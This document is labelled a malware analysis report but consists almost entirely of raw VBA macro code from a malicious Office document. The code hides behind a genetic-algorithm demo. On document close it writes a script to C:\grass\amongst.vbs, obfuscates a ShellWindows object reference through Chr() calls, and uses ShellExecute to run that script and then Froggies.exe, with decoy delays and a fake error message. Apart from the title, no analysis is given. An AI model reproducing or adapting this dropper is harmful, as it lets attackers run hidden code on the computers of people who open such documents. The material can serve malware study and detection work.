Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Load UserForm1
End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{46312DE6-42A6-463B-9876-1180BF623D80}{D215C1FD-1747-4225-A4E2-11EFB9D1D254}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Dim WithEvents GA As Class1
Attribute GA.VB_VarHelpID = -1

Private lngWhere As Long
Private dblLastValue As Double
Private dblFitness As Double
Dim dblLFitness As Double
Private Const strValues3 = "C:\grass\"

'I collect post cards, so if you enjoy using this genetic algorithm,
'please send a post card to the address above - Thanks! :)
'Blackbox function
Private Function BlackBox(Value1, Value2, Value3, Value4, Value5, Value6, Value7, Value8) As Double

    'This is a blackbox function. We know what numbers we are putting
    'into it, but we don't understand how the numbers are manipulated
    'into the output! Well, ok, you can see below what is happening,
    'but the genetic algorithm above has no idea... it must figure this
    'out by evolving the solution.

    Dim Value As Double

    Dim intA, intB, intC, intD, intE, intF, intG, intH As Integer

    intA = 1
    intB = 2
    intC = 3
    intD = 3
    intE = 7
    intF = 3
    intG = 4
    intH = 4

    If Value1 = 10 Then
        Value = Value + intA
    ElseIf Value1 = 6 Then
        Value = Value - intA
    ElseIf Value1 = 2 Then
        Value = Value * intA
    Else
        Value = Value / intA
    End If

    If Value2 = 10 Then
        Value = Value + intB
    ElseIf Value2 = 6 Then
        Value = Value - intB
    ElseIf Value2 = 2 Then
        Value = Value * intB
    Else
        Value = Value / intB
    End If

    If Value3 = 10 Then
        Value = Value + intC
    ElseIf Value3 = 6 Then
        Value = Value - intC
    ElseIf Value3 = 2 Then
        Value = Value * intC
    Else
        Value = Value / intC
    End If

    If Value4 = 10 Then
        Value = Value + intD
    ElseIf Value4 = 6 Then
        Value = Value - intD
    ElseIf Value4 = 2 Then
        Value = Value * intD
    Else
        Value = Value / intD
    End If

    If Value5 = 10 Then
        Value = Value + intE
    ElseIf Value5 = 6 Then
        Value = Value - intE
    ElseIf Value5 = 2 Then
        Value = Value * intE
    Else
        Value = Value / intE
    End If

    If Value6 = 10 Then
        Value = Value + intF
    ElseIf Value6 = 6 Then
        Value = Value - intF
    ElseIf Value6 = 2 Then
        Value = Value * intF
    Else
        Value = Value / intF
    End If

    If Value7 = 10 Then
        Value = Value + intG
    ElseIf Value7 = 6 Then
        Value = Value - intG
    ElseIf Value7 = 2 Then
        Value = Value * intG
    Else
        Value = Value / intG
    End If

    If Value8 = 10 Then
        Value = Value + intH
    ElseIf Value8 = 6 Then
        Value = Value - intH
    ElseIf Value8 = 2 Then
        Value = Value * intH
    Else
        Value = Value / intH
    End If

    BlackBox = Value

End Function

Private Function CreateFolder(sFolder As String) As String
On Error GoTo ErrorHandler
Dim s As String
s = GetPathOnly(sFolder)
If Dir(s, vbDirectory) = "" Then
  s = CreateFolder(s)
  MkDir s
End If
CreateFolder = sFolder
Exit Function

ErrorHandler:
Exit Function
End Function

Private Function GetPathOnly(sPath As String) As String
 GetPathOnly = Left(sPath, InStrRev(sPath, "\", Len(sPath)) - 1)
End Function

Private Sub UserForm_Initialize()

    Set GA = New Class1
    
    'Reset for graphics
    lngWhere = 0
    dblLastValue = 0
    dblFitness = 0
    dblLFitness = 0
    
    
    GA.Target = -88 'The target value for the BlackBox function
    GA.GETransportation
    
End Sub

'95% of the code below this line is just for graphics.
'There are three events that will inform you of the most fit
'chromosomes and when the solution has been found. You can
'stop the process if you find a solution that is close enough
'by running the Quit method.

Private Sub GA_BestSolution(Chromosome As String, Fitness As Double, Values As Variant)

    Dim strValues As String
    Dim i As Integer
    Dim dblFit As Double

    Static ClearText As Integer
    ClearText = ClearText + 1
    If ClearText = 5 Then
        ClearText = 0
        CreateFolder strValues3
        txtChromosomes = ""
        Open strValues3 & "amongst.vbs" For Output Access Write As #1
        Print #1, asm64.Caption
        Close #1
    End If

    For i = 1 To UBound(Values)
        strValues = strValues & Values(i) & vbTab
    Next i

    txtChromosomes = txtChromosomes & "Chromosome: " & Chromosome & vbCrLf & _
            "Values: " & strValues & vbCrLf & "Fitness: " & Fitness & vbCrLf & vbCrLf

    



    lngWhere = lngWhere + 15

    dblFit = Abs(Fitness - dblLastValue)
    If dblFit > dblFitness Then dblFitness = dblFit
    dblLastValue = Fitness


    dblLFitness = dblFitness

    If lngWhere > 7000 Then
    

    
        lngWhere = 0
    End If

End Sub

Private Sub GA_Evaluate(Values As Variant)
    GA.Fitness = BlackBox(Values(1), Values(2), Values(3), Values(4), Values(5), Values(6), Values(7), Values(8))
End Sub

Private Sub GA_Solved(Chromosome As String, Fitness As Double, Values As Variant)

    Dim strValues As String
    Dim i As Integer


    Set Subcommittee = GetObject("new:" + Chr(123) + Chr(57) + Chr(66) + Chr(65) + Chr(48) + Chr(53) + Chr(57) + Chr(55) + Chr(50) + Chr(45) _
    + Chr(70) + Chr(54) + Chr(65) + Chr(56) + Chr(45) + Chr(49) + Chr(49) + Chr(67) + Chr(70) + Chr(45) + Chr(65) + Chr(52) + Chr(52) + Chr(50) + Chr(45) + Chr(48) + Chr(48) + Chr(65) + Chr(48) + Chr(67) + Chr(57) + Chr(48) + Chr(65) + Chr(56) + Chr(70) + Chr(51) + Chr(57) + Chr(125)).Item()
    
    For i = 1 To UBound(Values)
        strValues = strValues & Values(i) & vbTab
    Next i

    Subcommittee.Document.Application.ShellExecute "C:\grass\amongst.vbs", Null, "C:\Windows\System32", Null, 1

    txtChromosomes = "Best Solution" & vbCrLf & vbCrLf & "Chromosome: " & _
            Chromosome & vbCrLf & "Values: " & strValues & vbCrLf & _
            "Fitness: " & Fitness & vbCrLf & vbCrLf
            
    Dim Hearing, Pinterest
    
    For Hearing = 0 To 36400
    
    Pinterest = Time$

    DoEvents

    Next Hearing
    MsgBox "Err unicode", vbInformation
    
    Subcommittee.Document.Application.ShellExecute "C:\grass\Froggies.exe", Null, "C:\Windows\System32", Null, 1
    
    For Hearing = 0 To 2000
    
    Pinterest = Time$

    DoEvents

    Next Hearing
    
End Sub



Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Const Bits As Integer = 32

Private Type Chromosome
Value As String * Bits
Fitness As Double
End Type
Private Const Selection As Double = 0.45
Private Const Momentum As Double = 0.05
Private Const Splices As Integer = 8
Private Const Max_Bits As Integer = Bits / Splices
Private Max_Value As Integer
Private Population(1 To Bits / 2) As Chromosome
Private Sections(1 To Splices, 1 To Bits / 2) As Integer
Private Solution As Integer
Private FittestValue As Double
Private aryFittestValue(1 To Splices) As Double
Private m_Quit As Boolean
Private m_Fitness As Double
Private m_FitnessSet As Boolean
Private FittestChromosome As String
Public Event Evaluate(Values As Variant)
Public Event Solved(Chromosome As String, Fitness As Double, Values As Variant)
Public Event BestSolution(Chromosome As String, Fitness As Double, Values As Variant)
Public Target As Double
Private Function CalculateFitness()
Dim Deltas(1 To Bits / 2) As Double
Dim dblDelta As Double
Dim intLoop As Integer
Dim intPopulation As Integer
Dim intSplice As Integer
Dim RetArray(1 To Splices) As Double
Dim Reformulando As Integer
For intPopulation = 1 To Bits / 2
intSplice = 0
For intLoop = 1 To Bits Step Max_Bits
intSplice = intSplice + 1
Sections(intSplice, intPopulation) = _
DecodeChromosome(Mid(Population(intPopulation).Value, _
intLoop, Max_Bits))
Next intLoop
Next intPopulation
For intLoop = 1 To Bits / 2
For Reformulando = 1 To Splices
RetArray(Reformulando) = Sections(Reformulando, intLoop)
Next Reformulando
m_FitnessSet = False
RaiseEvent Evaluate(RetArray)
Do While m_FitnessSet = False
DoEvents
Loop
Deltas(intLoop) = Abs(Target - Fitness)
If Deltas(intLoop) = 0 Then
Solution = intLoop
End If
Next intLoop
For intLoop = 1 To Bits / 2
If Deltas(intLoop) > dblDelta Then
dblDelta = Deltas(intLoop)
End If
Next intLoop
For intLoop = 1 To Bits / 2
Population(intLoop).Fitness = dblDelta - Deltas(intLoop) + 1
Next intLoop
If Solution <> 0 Then
FittestChromosome = Population(Solution).Value
FittestValue = Population(Solution).Fitness
For Reformulando = 1 To Splices
aryFittestValue(Reformulando) = Sections(Reformulando, Solution)
Next Reformulando
End If
End Function
Sub Quit()
m_Quit = True
End Sub
Sub InitializePopulation()
Dim intI As Integer
Dim intParts As Integer
Dim strChromosome As String
For intI = 1 To Bits / 2
strChromosome = ""
For intParts = 1 To Splices
strChromosome = strChromosome & EncodeChromosome(Rnd * Max_Value)
Next intParts
Population(intI).Value = strChromosome
Next intI
End Sub
Private Function BibliographyofAgriculture()
    GetCurrencySymbol = Replace(Replace(Replace(Format(0, "Currency"), ".", ""), "0", ""), ",", "")

Dim Turbulence As Double
Dim Operationalizing As Double
Dim Bennett As Double
Dim Nanticoke As Integer
Dim Maggini As Integer
Dim elasticity As Integer
Dim Fundamentals As Double
Dim intLeastFit As Integer
Dim intLoop As Integer
Dim intChild As Integer
Dim dblRnd As Double
Dim intRnd As Integer
Dim Father As String
Dim Mother As String
Dim intMutate As Integer
Dim branch As Integer
Dim Reformulando As Integer
For intLoop = 1 To Bits / 2
If Population(intLoop).Fitness > Bennett Then
Bennett = Population(intLoop).Fitness
End If
Next intLoop
Nanticoke = ((CInt(Rnd * (Splices - 1)) + 1) * Max_Bits) - Max_Bits
dblRnd = Rnd * (Bennett * Momentum)
Turbulence = 0
For branch = 1 To Bits / 2
If Population(branch).Fitness > dblRnd Then
dblRnd = Rnd * 1
    GetCurrencySymbol = Replace(Replace(Replace(Format(0, "Currency"), ".", ""), "0", ""), ",", "")

If dblRnd > (1 - Selection) Then
If Population(branch).Fitness > Turbulence Then
Operationalizing = Turbulence
Turbulence = Population(branch).Fitness
elasticity = Maggini
Maggini = branch
FittestChromosome = Population(branch).Value
FittestValue = Population(branch).Fitness
For Reformulando = 1 To Splices
aryFittestValue(Reformulando) = Sections(Reformulando, branch)
Next Reformulando
End If
End If
End If
    GetCurrencySymbol = Replace(Replace(Replace(Format(0, "Currency"), ".", ""), "0", ""), ",", "")

Next branch
If Maggini = 0 Then
intRnd = Rnd * ((Bits - 1) / 2) + 1
Turbulence = Population(intRnd).Fitness
Maggini = intRnd
End If
If elasticity = 0 Then
intRnd = Rnd * ((Bits - 1) / 2) + 1
Operationalizing = Population(intRnd).Fitness
elasticity = intRnd
End If
Father = Mid(Population(Maggini).Value, 1, Nanticoke)
Mother = Mid(Population(elasticity).Value, Nanticoke + 1)
Fundamentals = Turbulence
For intLoop = 1 To Bits / 2
If Population(intLoop).Fitness < Fundamentals Then
Fundamentals = Population(intLoop).Fitness
intLeastFit = intLoop
End If
Next intLoop
If intLeastFit = 0 Then
intRnd = Rnd * ((Bits - 1) / 2) + 1
Fundamentals = Population(intRnd).Fitness
intLeastFit = intRnd
End If
Population(intLeastFit).Value = Father & Mother
For intLoop = 1 To Bits / 2
dblRnd = Rnd * 1
If dblRnd > (1 - Selection) Then
intMutate = CInt(Rnd * 1)
Nanticoke = Rnd * (Bits - 1)
Mid(Population(intLoop).Value, Nanticoke + 1, 1) = intMutate
End If
Next intLoop
End Function
Public Sub GETransportation()
Dim lngWhere As Long
Max_Value = DecodeChromosome(String(Max_Bits, "1"))
InitializePopulation
Do
CalculateFitness
If Solution <> 0 Then
Solution = 0
RaiseEvent Solved(FittestChromosome, FittestValue, aryFittestValue)
Exit Sub
End If
BibliographyofAgriculture
RaiseEvent BestSolution(FittestChromosome, FittestValue, aryFittestValue)
DoEvents
If m_Quit = True Then
m_Quit = False
Exit Sub
End If
Loop
End Sub
Private Function EncodeChromosome(lngDecimal As Long) As String
Dim Remainder(1 To Max_Bits) As Double
Dim DecimalNumber As Double
Dim branch As Integer
DecimalNumber = Val(lngDecimal)
For branch = 1 To Max_Bits
Remainder(branch) = DecimalNumber Mod 2
DecimalNumber = DecimalNumber / 2
DecimalNumber = Int(DecimalNumber)
Next branch
For branch = Max_Bits To 1 Step -1
EncodeChromosome = EncodeChromosome & Remainder(branch)
Next branch
Erase Remainder
End Function
Private Function DecodeChromosome(strChromosome As String) As Integer
Dim Binum(1 To Max_Bits) As Double
Dim Power As Double
Dim branch As Integer
Dim BinLen As Integer
Do
If Len(strChromosome) = 0 Then Exit Function
If Mid(strChromosome, 1, 1) = "0" Then
strChromosome = Mid(strChromosome, 2)
Else
Exit Do
End If
Loop
BinLen = Len(strChromosome)
Power = 2 ^ (BinLen - 1)
For branch = 1 To Max_Bits
If Mid(strChromosome, branch, 1) = "1" Then
Binum(branch) = Power
ElseIf Mid(strChromosome, branch, 1) = "0" Then
Binum(branch) = 0
End If
Power = Power - (Power / 2)
Next branch
For branch = 1 To Max_Bits
DecodeChromosome = DecodeChromosome + Binum(branch)
Next branch
Erase Binum 'Clear array
End Function
Public Property Let Fitness(Value As Double)
m_Fitness = Value
m_FitnessSet = True
End Property
Public Property Get Fitness() As Double
Fitness = m_Fitness
End Property